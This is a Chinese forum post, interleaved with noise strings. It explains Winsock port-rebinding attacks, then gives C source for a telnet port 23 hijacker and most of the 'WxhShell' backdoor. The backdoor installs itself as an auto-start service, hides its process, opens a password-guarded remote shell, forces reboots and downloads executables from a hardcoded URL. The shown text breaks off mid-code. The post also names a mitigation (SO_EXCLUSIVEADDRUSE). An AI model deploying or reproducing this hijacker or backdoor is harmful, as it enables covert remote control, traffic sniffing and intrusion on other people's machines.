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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (}.@b|s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V"cKJ;s  
f7Ul(D:j\  
  saddr.sin_family = AF_INET; Q{e\}wN  
:Xc@3gF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O1')nYF7  
zy*/T>{#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -}K<ni6  
9&<x17'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B|o2K}%f  
\OlmF<~  
  这意味着什么?意味着可以进行如下的攻击: ?UM*Xah  
keRE==(D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5SCKP<rb  
04r$>#E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L(GjZAP  
`3p~m,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c8Z wr]DF  
vb9OonE2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1+?^0%AC  
hsu{eyp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fnx-s{c?  
q7u'_ R,;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UMX@7a,[3  
Z{'i F   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tTd\|  
X.`~>`8  
  #include 1;<R#>&,*  
  #include :[;hu}!&  
  #include A'P(a`  
  #include    <w3!!+oK"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z"unF9`"1  
  int main() ctcS:<r/3@  
  { 8,dBl!G=  
  WORD wVersionRequested; O12eH  
  DWORD ret; g+X}c/" .  
  WSADATA wsaData; |7x\m t  
  BOOL val; yA47"R  
  SOCKADDR_IN saddr; 2wF8 P)  
  SOCKADDR_IN scaddr; 36US5ef  
  int err; ^n0]dizB  
  SOCKET s; X$/2[o#g  
  SOCKET sc; dH( ('u[  
  int caddsize; a22XDes=  
  HANDLE mt; q+,Q<2J  
  DWORD tid;   cX3lt5  
  wVersionRequested = MAKEWORD( 2, 2 ); ws4cF N9P?  
  err = WSAStartup( wVersionRequested, &wsaData ); f 2l{^E#h  
  if ( err != 0 ) { E!S 78 z:  
  printf("error!WSAStartup failed!\n"); nS>8bub30  
  return -1; |JCU<_<  
  } (XoH,K?{z  
  saddr.sin_family = AF_INET; F2X0%te  
   RejQ5'Neh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O$4yAaD X  
>LDhU%bH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [=~pe|8:  
  saddr.sin_port = htons(23); o6$4/I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iYC9eEF  
  { \l~*PG2  
  printf("error!socket failed!\n"); /*0K92NB  
  return -1; r&FDEBh  
  } 2;w*oop,O  
  val = TRUE; 5h;+Ky!I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ->N8#XH2=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zXRlo]  
  { Ci rZ+o  
  printf("error!setsockopt failed!\n"); 6Cp]NbNrq  
  return -1; m8.U &0  
  } 2 3gPbtq/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AlJ} >u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r(9~$_(vK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XVU2T5s}  
kZ"BBJ6w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R LD`O9#j  
  { B5$kHM%p  
  ret=GetLastError(); itMg|%B%  
  printf("error!bind failed!\n"); <F04GO\  
  return -1; "jw<V,,  
  } T1H"\+  
  listen(s,2); J`2"KzR0w"  
  while(1) 'F3)9&M  
  { {5  sO  
  caddsize = sizeof(scaddr); 7F'`CleU  
  //接受连接请求 c [5KG}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *z7dl5xJ  
  if(sc!=INVALID_SOCKET) )+fh-Ui  
  { {AQ=<RDRF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }}<z/zN&^  
  if(mt==NULL) c/ uNM  
  { ,~._}E&9I  
  printf("Thread Creat Failed!\n"); ]LM-@G+Jz  
  break; 7 x<i :x3  
  } M'/aZ# b  
  } 4"Hye&O  
  CloseHandle(mt); M8u<qj&<O  
  } N?.%?0l  
  closesocket(s); V dn&c  
  WSACleanup(); {^N[("`  
  return 0; x,'!eCKN  
  }   5scEc,JCi  
  DWORD WINAPI ClientThread(LPVOID lpParam) AoyX\iqQ  
  { M>/Zbnq  
  SOCKET ss = (SOCKET)lpParam; aCL!]4K84$  
  SOCKET sc; >]c*'~G&  
  unsigned char buf[4096]; SCTA=l.  
  SOCKADDR_IN saddr; \J6j38D5  
  long num; SV(]9^nW  
  DWORD val; \nP>:5E1  
  DWORD ret; D$x_o!JT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (IPY^>h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?^N3&ukkyo  
  saddr.sin_family = AF_INET; O]m+u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Nr=d<Us9f  
  saddr.sin_port = htons(23); FLY Ca  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^,]B@ t2  
  { QMZ)-ty"  
  printf("error!socket failed!\n"); v~Y^r2  
  return -1; )Dz+X9;g+  
  } '{B!6|"X  
  val = 100; ~^cMys |'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x]33LQ1]  
  { /S lYm-uQ+  
  ret = GetLastError(); 1PatH[T[  
  return -1; hh[jN 7K  
  } x@Hc@R<!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )[Yv?>ib  
  { +k>.Q0n%m  
  ret = GetLastError(); 5v6Ei i:  
  return -1; =ha{Ziryo  
  } & :7ZQ1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3=L.uXVb  
  { Ft!],n-n*  
  printf("error!socket connect failed!\n"); 'f?$"U JF  
  closesocket(sc); {.?/)  
  closesocket(ss); SZXY/~=h  
  return -1; \oZ5JoO  
  } rX1QMR7?  
  while(1) nt@aYXK4|  
  { |.3DD"*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S)/_muP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 to$h2#i_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G}G#i`6o  
  num = recv(ss,buf,4096,0); j.@\3'  
  if(num>0) U,.![TP  
  send(sc,buf,num,0); z+>}RT]  
  else if(num==0) tmtT (  
  break; ::/j$bL  
  num = recv(sc,buf,4096,0); vZBc !AW  
  if(num>0) E^ SH\5B  
  send(ss,buf,num,0); -bU oCF0  
  else if(num==0) 9*(aU z9j  
  break; jXMyPNTK  
  } xagBORg+Bd  
  closesocket(ss); >HS W]"k  
  closesocket(sc); Zp# v Hs  
  return 0 ; X ' "SVO.  
  } pLzk   
PKzyV ;  
j+ LawW-  
========================================================== J`^I./  
oo.2Dn6z  
下边附上一个代码,,WXhSHELL 9\DQ>V TQ  
`9b7>Nn<  
========================================================== 0p\@!Z H  
I2nhqJy^  
#include "stdafx.h" W!&vul5  
qC?:*CXH  
#include <stdio.h> aX}P|l  
#include <string.h> GF^071]G  
#include <windows.h> Mwr"~?\\  
#include <winsock2.h> .uk>QM s1  
#include <winsvc.h> 82DmG@"s2  
#include <urlmon.h> KkE9KwZ]W  
;/rXQe1  
#pragma comment (lib, "Ws2_32.lib") I}vmU^Y>  
#pragma comment (lib, "urlmon.lib") !dC<4qZ\C  
x3"#POp  
#define MAX_USER   100 // 最大客户端连接数 }x wu*Zx  
#define BUF_SOCK   200 // sock buffer JC3m.)/  
#define KEY_BUFF   255 // 输入 buffer >L 0_dvr  
 1OF& *  
#define REBOOT     0   // 重启 E3iW-B8u8  
#define SHUTDOWN   1   // 关机 A`}rqhU.{-  
^:Gie  
#define DEF_PORT   5000 // 监听端口 \<)9?M :  
4zo5}L `Y  
#define REG_LEN     16   // 注册表键长度 6Avw-}.7>  
#define SVC_LEN     80   // NT服务名长度 E!P yL>){  
7[}xP#Z  
// 从dll定义API KPj\-g'A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L# 2+z@g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7fba-7-P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;h jwD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CtSl  
hBX!iukT|{  
// wxhshell配置信息 Pw61_ZZ4B\  
struct WSCFG { @>U-t{W  
  int ws_port;         // 监听端口 V:c;-)(  
  char ws_passstr[REG_LEN]; // 口令 "PpN0Rr  
  int ws_autoins;       // 安装标记, 1=yes 0=no c. 2).Jt,  
  char ws_regname[REG_LEN]; // 注册表键名 &@yo;kB  
  char ws_svcname[REG_LEN]; // 服务名 W!>.$4Q9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k|H:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | ]X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AQiwugs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $ . 9V&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >\Ww;1yV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O6G0  
] A+?EE2/  
}; )(384@'"u  
I]EbodAyZ,  
// default Wxhshell configuration 07^iP>?  
struct WSCFG wscfg={DEF_PORT, C .~+*"Vw  
    "xuhuanlingzhe", 1jF`5k  
    1, bq:(u4 3  
    "Wxhshell", I\$X/t +dH  
    "Wxhshell", cbT7CG  
            "WxhShell Service", Tap.5jHL  
    "Wrsky Windows CmdShell Service", j+,d^!  
    "Please Input Your Password: ", @-!}BUs?  
  1, suzZdkMA  
  "http://www.wrsky.com/wxhshell.exe", 65aK2MS@  
  "Wxhshell.exe" !74S  
    }; 1BpiV-]=  
hj.a&%  
// 消息定义模块 ?3.b{Cq{-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j?x>_#tIY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]33>m|?@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?}U(3  
char *msg_ws_ext="\n\rExit."; "\o+v|;  
char *msg_ws_end="\n\rQuit."; )j0TeE1R  
char *msg_ws_boot="\n\rReboot..."; TO?R({yx*  
char *msg_ws_poff="\n\rShutdown..."; 7OJ'){R$  
char *msg_ws_down="\n\rSave to "; n+A?"`6*#  
ikv Wh<=>H  
char *msg_ws_err="\n\rErr!"; qtQ6cq Ld  
char *msg_ws_ok="\n\rOK!"; u*ObwcI/Bn  
''\O v  
char ExeFile[MAX_PATH]; Dw<bn<e-  
int nUser = 0; SX# e:_  
HANDLE handles[MAX_USER]; x?2@9u8Yb  
int OsIsNt; mSb#Nn6W  
O%5 r[  
SERVICE_STATUS       serviceStatus; [VsKa\9u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HTS%^<u  
E4~<V=2l  
// 函数声明 l^pA2yh|  
int Install(void); 5a|w+HO,  
int Uninstall(void); z;|A(*Y  
int DownloadFile(char *sURL, SOCKET wsh); rFj-kojg  
int Boot(int flag); vPTM  
void HideProc(void); |w<H!lGe!$  
int GetOsVer(void); +oovx2r&  
int Wxhshell(SOCKET wsl); ~^r29'3  
void TalkWithClient(void *cs); A Sk|A!  
int CmdShell(SOCKET sock); iA'lon  
int StartFromService(void); y+c|vdW%  
int StartWxhshell(LPSTR lpCmdLine); -v]Sr33L  
HiR[(5vnf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hM6PP7XH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @ W[f1  
rPLm5ni  
// 数据结构和表定义 rLI8pA|.  
SERVICE_TABLE_ENTRY DispatchTable[] = 7G}2,ueI  
{ Y6zbo  
{wscfg.ws_svcname, NTServiceMain}, IJ(  
{NULL, NULL} <~n"m  
}; @oV9)  
%&w3;d;c  
// 自我安装 Wp!%-vzy&  
int Install(void) XH}\15X  
{ NnDxq%l%  
  char svExeFile[MAX_PATH]; 10q'Z}34  
  HKEY key; !`,Sfqij  
  strcpy(svExeFile,ExeFile); QD:{U8YbF$  
!O:y@  
// 如果是win9x系统,修改注册表设为自启动 y}My.c  
if(!OsIsNt) { pEIRh1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :+z4~% jA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "AnC?c9?-^  
  RegCloseKey(key); ;h*K}U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Nb[G)Xh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XkXHGDEf1  
  RegCloseKey(key); X[&Wkr8x '  
  return 0; DVB{2~7 4  
    } kT"Kyd  
  } +'I+o5*  
} 3L_\`Ia9  
else { W;'!gpa  
VcSVu  
// 如果是NT以上系统,安装为系统服务 \KQ71yqY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +zaA,e?\  
if (schSCManager!=0)  CohDO  
{ 1DE<rKI  
  SC_HANDLE schService = CreateService 2.l Z:VLN  
  ( ^Eb.:}!D6  
  schSCManager, ?fUlgQ }N  
  wscfg.ws_svcname, Jrti cK$  
  wscfg.ws_svcdisp, aTqd@},?  
  SERVICE_ALL_ACCESS, V )x$|!(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D6>2s\:>vp  
  SERVICE_AUTO_START, CF&6J$ZBgJ  
  SERVICE_ERROR_NORMAL, \]2]/=2tLd  
  svExeFile, \Zqng  
  NULL, <`B,R*H{  
  NULL, :D%"EJ  
  NULL, M<.d8?p )  
  NULL, cDFO;Dr  
  NULL 1 u| wMO  
  ); 723bkJw V  
  if (schService!=0) JORGj0v  
  { v/68*,z[  
  CloseServiceHandle(schService); q Gw -tPD<  
  CloseServiceHandle(schSCManager); /%}*Xh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q)S^P>  
  strcat(svExeFile,wscfg.ws_svcname); ZUVA EH%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vY  }A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K9$>Yxe|  
  RegCloseKey(key); 8S mCpg  
  return 0; H:t$'kb`  
    } E9Np0M<  
  } zR1^I~ %  
  CloseServiceHandle(schSCManager); @z4*.S&tz  
} 544X1Ww2  
} Pe3@d|-,MU  
XC0bI,Fu,  
return 1; 'IZI:V"  
} B$ajK`x&I  
%Y<|;0v  
// 自我卸载 0- HqPdjR  
int Uninstall(void)  -xSA  
{ ein4^o<f.  
  HKEY key; Zhh2v>QOy  
WQ[_hg|k  
if(!OsIsNt) { m?pstuUK(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ox&P}P0f  
  RegDeleteValue(key,wscfg.ws_regname); v 1z  
  RegCloseKey(key); 4wa`<H&S5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xO^:_8=&:  
  RegDeleteValue(key,wscfg.ws_regname); l6YtEHNG  
  RegCloseKey(key); t2F _uCr  
  return 0; 3 Nreqq  
  } xy5lE+E_U  
} -fwoTGlX  
} #!aN{nK0  
else { s }UjGFP  
k. MUdU^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '(f&P=[b  
if (schSCManager!=0) \>jLRb|7Ts  
{ (]0%}$Fo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SB1upTn  
  if (schService!=0) @.b+av4J  
  { A+::O@_s  
  if(DeleteService(schService)!=0) { %_+2@\  
  CloseServiceHandle(schService); M9V q -U18  
  CloseServiceHandle(schSCManager); "uuVy$6C  
  return 0; Izhee%c  
  } ?no fUD.  
  CloseServiceHandle(schService); p2n0Z\2  
  } Q<h-FW8z  
  CloseServiceHandle(schSCManager); #w,Dwy  
} T*#/^%HSG  
} As3.Q(#Z  
1T y<\bZ=  
return 1; DF1I[b=]  
} +=q$x Ia  
(g[h 8 c  
// 从指定url下载文件 _A+s)]}  
int DownloadFile(char *sURL, SOCKET wsh) B^j  
{ :"=ez<t  
  HRESULT hr; e\Y*F  
char seps[]= "/"; _d"b;4l  
char *token; zo+nq%=  
char *file; /4a._@1h[y  
char myURL[MAX_PATH]; *+j* {>E  
char myFILE[MAX_PATH]; gZLP\_CL  
.q `Hjmg<  
strcpy(myURL,sURL); M,/mE~  
  token=strtok(myURL,seps); G?E oPh^m  
  while(token!=NULL) ~aMlr6;  
  { u+'tfFds&  
    file=token; ] 8Q4BW  
  token=strtok(NULL,seps); |$Xl/)Oq  
  } |+iws8xK?  
V n*  
GetCurrentDirectory(MAX_PATH,myFILE); .2%zC & ;  
strcat(myFILE, "\\"); ^.1c{0Y^0  
strcat(myFILE, file); R]OpQ[k  
  send(wsh,myFILE,strlen(myFILE),0); &d"G/6  
send(wsh,"...",3,0); .Xce9C0SW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o Z%9_$Z  
  if(hr==S_OK) x$1]M DAGb  
return 0; ]}U*_rM:  
else n^z]q;IN2.  
return 1; *^f<W6xc  
+)y^ 'Qs  
} `glBV`?^  
=&,]Z6{ >  
// 系统电源模块 (vb SM}P  
int Boot(int flag) cm?\ -[cV  
{ P8>~c9$I  
  HANDLE hToken; ^c&L,!_)H  
  TOKEN_PRIVILEGES tkp; Wn(6,MDUN  
kO|L bQ@=q  
  if(OsIsNt) { oW<5|FaN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9\/xOwR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f7=((5N  
    tkp.PrivilegeCount = 1; NMa} <  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p(~Yx3$*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i(iXD  
if(flag==REBOOT) { " f "6]y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w,h`s.AN  
  return 0; 4WJ.^(  
} R~)\3] "2m  
else { MhR:c7,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z"0I>gl  
  return 0; E=>FjCsu<-  
} 13@|w1/Z  
  } nPye,"A Ol  
  else { k&,~qoU  
if(flag==REBOOT) { ly:q6i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [N/"5 [  
  return 0; ~} ,=OF-b  
} P*I}yPeb  
else { EL(nDv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1IZ3=6  
  return 0; MBqt&_?K  
} JwAYG5W  
} f}x.jxY?  
22.8PO0  
return 1; Bs O+NP  
} wM2*#  
X{\F;Cb*  
// win9x进程隐藏模块 zmSUw}-4 N  
void HideProc(void) _Em.  
{ ><gG8MH0'  
pKit~A,Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bT^I"  
  if ( hKernel != NULL ) %?p1d!  
  { ~v6OsH%vx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =Ur}~w&H8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aB7+Tb  
    FreeLibrary(hKernel); uf&myV7  
  } oxz OA  
x "^Xj]-  
return; P] UJ0b  
} $`)/0{qY-  
%F-ZN^R  
// 获取操作系统版本 1 D<_N  
int GetOsVer(void) T>R0T{A  
{ cm&I* 0\  
  OSVERSIONINFO winfo; J6L  K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ( 5tvfz%  
  GetVersionEx(&winfo); G0^2Wk[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6~1|qEe6I  
  return 1; o1FF"tLkN  
  else y0'Rmk,  
  return 0; \E% 'Y  
} QA5Qwe L  
hvDNz"ec{  
// 客户端句柄模块 }>VG~u8  
int Wxhshell(SOCKET wsl) &?*V0luP)  
{ IHJ=i-  
  SOCKET wsh; J|w\@inQ  
  struct sockaddr_in client; dt`{!lts'  
  DWORD myID; x)rM/Kq  
{j:hod@-:5  
  while(nUser<MAX_USER) (UU(:/  
{ iy14mh\ ~  
  int nSize=sizeof(client); ?i06f,-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `eIenA  
  if(wsh==INVALID_SOCKET) return 1; X&0 uI*r  
RV5n,J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uWM{JEOl  
if(handles[nUser]==0) 8;Yx<woR  
  closesocket(wsh); b+f'[;  
else mxz-4.  
  nUser++; 0el9&l9Ew  
  } &8]d }-e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X!m9lV<  
20Z8HwQi  
  return 0; b#K:_ac5  
} O'W0q;rT  
Yx eOI#L  
// 关闭 socket ~wJFa'2  
void CloseIt(SOCKET wsh) IGtl\b=  
{ U`Wauv&  
closesocket(wsh); ,:Lb7bFv>  
nUser--; t=-SH^$SR  
ExitThread(0); 1$%V{4bJ  
} +eX@U;J,g  
4)U.5FBk )  
// 客户端请求句柄 ?84 s4BpV1  
void TalkWithClient(void *cs) ,ztI,1"k  
{ [BT/~6ovrZ  
Qt/8r*Oe  
  SOCKET wsh=(SOCKET)cs; Z| V`B `  
  char pwd[SVC_LEN]; EpFQ|.mQ  
  char cmd[KEY_BUFF]; WC|.g,9#  
char chr[1]; rxy&spX  
int i,j; U5He?  
Q)LM-ZJKQ  
  while (nUser < MAX_USER) { \'CDRr"uw  
2EfF=Fm>  
if(wscfg.ws_passstr) { S6AU[ASY.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `~ * @q!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R0L&*Bjm  
  //ZeroMemory(pwd,KEY_BUFF); av$/Om :  
      i=0; ;~\MZYs3m  
  while(i<SVC_LEN) { [&nh5 |f  
DBCK2PlJ  
  // 设置超时 S p^9& ^  
  fd_set FdRead; "V$Bnz\n  
  struct timeval TimeOut; `g6h9GC6  
  FD_ZERO(&FdRead); uvV;Mlo]  
  FD_SET(wsh,&FdRead); v0YG,)_  
  TimeOut.tv_sec=8; R8T] 2?Q1  
  TimeOut.tv_usec=0; '*k'i;2/1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !X<~-G2)l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mGGsB5#w>  
W~p/,HcM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vsr[ur[eP  
  pwd=chr[0]; cg*)0U-_(  
  if(chr[0]==0xd || chr[0]==0xa) { a(v>Q*zNP  
  pwd=0; !}r% u."  
  break; NN1$'"@NL  
  } 6+KHQFb&N  
  i++;  R#DwF,  
    } I= .z+#Y  
8G5m{XTS(  
  // 如果是非法用户,关闭 socket hDp6YV,q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N~NQ6:R[  
} =@8H"&y`  
hQDTS>U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r?*NhLG ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [g Z"a*  
ty*@7g0k  
while(1) { pTyi!:g3W  
3Bx:Ntx<  
  ZeroMemory(cmd,KEY_BUFF); !ZI7&r`u;  
;x8k[p~2  
      // 自动支持客户端 telnet标准   Wxbq)Z[V  
  j=0; &2=dNREJ}1  
  while(j<KEY_BUFF) { K.z64/H:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Wq?H-B{  
  cmd[j]=chr[0]; LI6hE cM=  
  if(chr[0]==0xa || chr[0]==0xd) { DANw1 _X\  
  cmd[j]=0; )h8\u_U  
  break; QtJg ^2@  
  } *s>BG1$<  
  j++; 't9hXzAfW  
    } D.1J_Y=9  
{!K-E9_,S  
  // 下载文件  HC a  
  if(strstr(cmd,"http://")) { C$@yG)Pj   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p!<$vE  
  if(DownloadFile(cmd,wsh)) {M?vBg R\B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^m>AKC0cX  
  else B-T/V-c7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _"#!e{N|  
  } YNBHBK4;  
  else { yH<$k^0r*  
EgDQ+( -  
    switch(cmd[0]) { H=\!2XS  
  )5.C]4jol  
  // 帮助 L:k9# 6  
  case '?': { ph#tgLJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `)Z!V?&!  
    break; JB&\i#  
  } b77>$[xB  
  // 安装 <6G1 1-K  
  case 'i': { ?"KC-u|  
    if(Install()) 4ON_$FUe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y| 9?9d  
    else s#S%#LM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vc]cNz:mQ  
    break; Y&^P"Dw  
    } 1 `7<2w  
  // 卸载 E3*\ ^Q_  
  case 'r': { {" 4e+y  
    if(Uninstall()) ad_`x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2]c {P\  
    else j}AFE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3w!c`;c%  
    break; PccB]  
    } .?>5-od2  
  // 显示 wxhshell 所在路径 snt(IJQ  
  case 'p': { 7 uarh!  
    char svExeFile[MAX_PATH]; n 8pt\i0  
    strcpy(svExeFile,"\n\r"); _6Eu2|vM&  
      strcat(svExeFile,ExeFile); 7'-j%!#w  
        send(wsh,svExeFile,strlen(svExeFile),0); eJo3 MK  
    break; P/ oXDI8  
    } rO:u6."_  
  // 重启 cf7v[ZZ}  
  case 'b': { w?,M}=vg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y=T'WNaL)0  
    if(Boot(REBOOT)) ZK'-U,Y.H7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0iZGPe~  
    else { ~kCwJ<E  
    closesocket(wsh); & ``d  
    ExitThread(0); l6u&5[C  
    } _NcY I  
    break; m"9XT)N  
    } WpLZQ6wH  
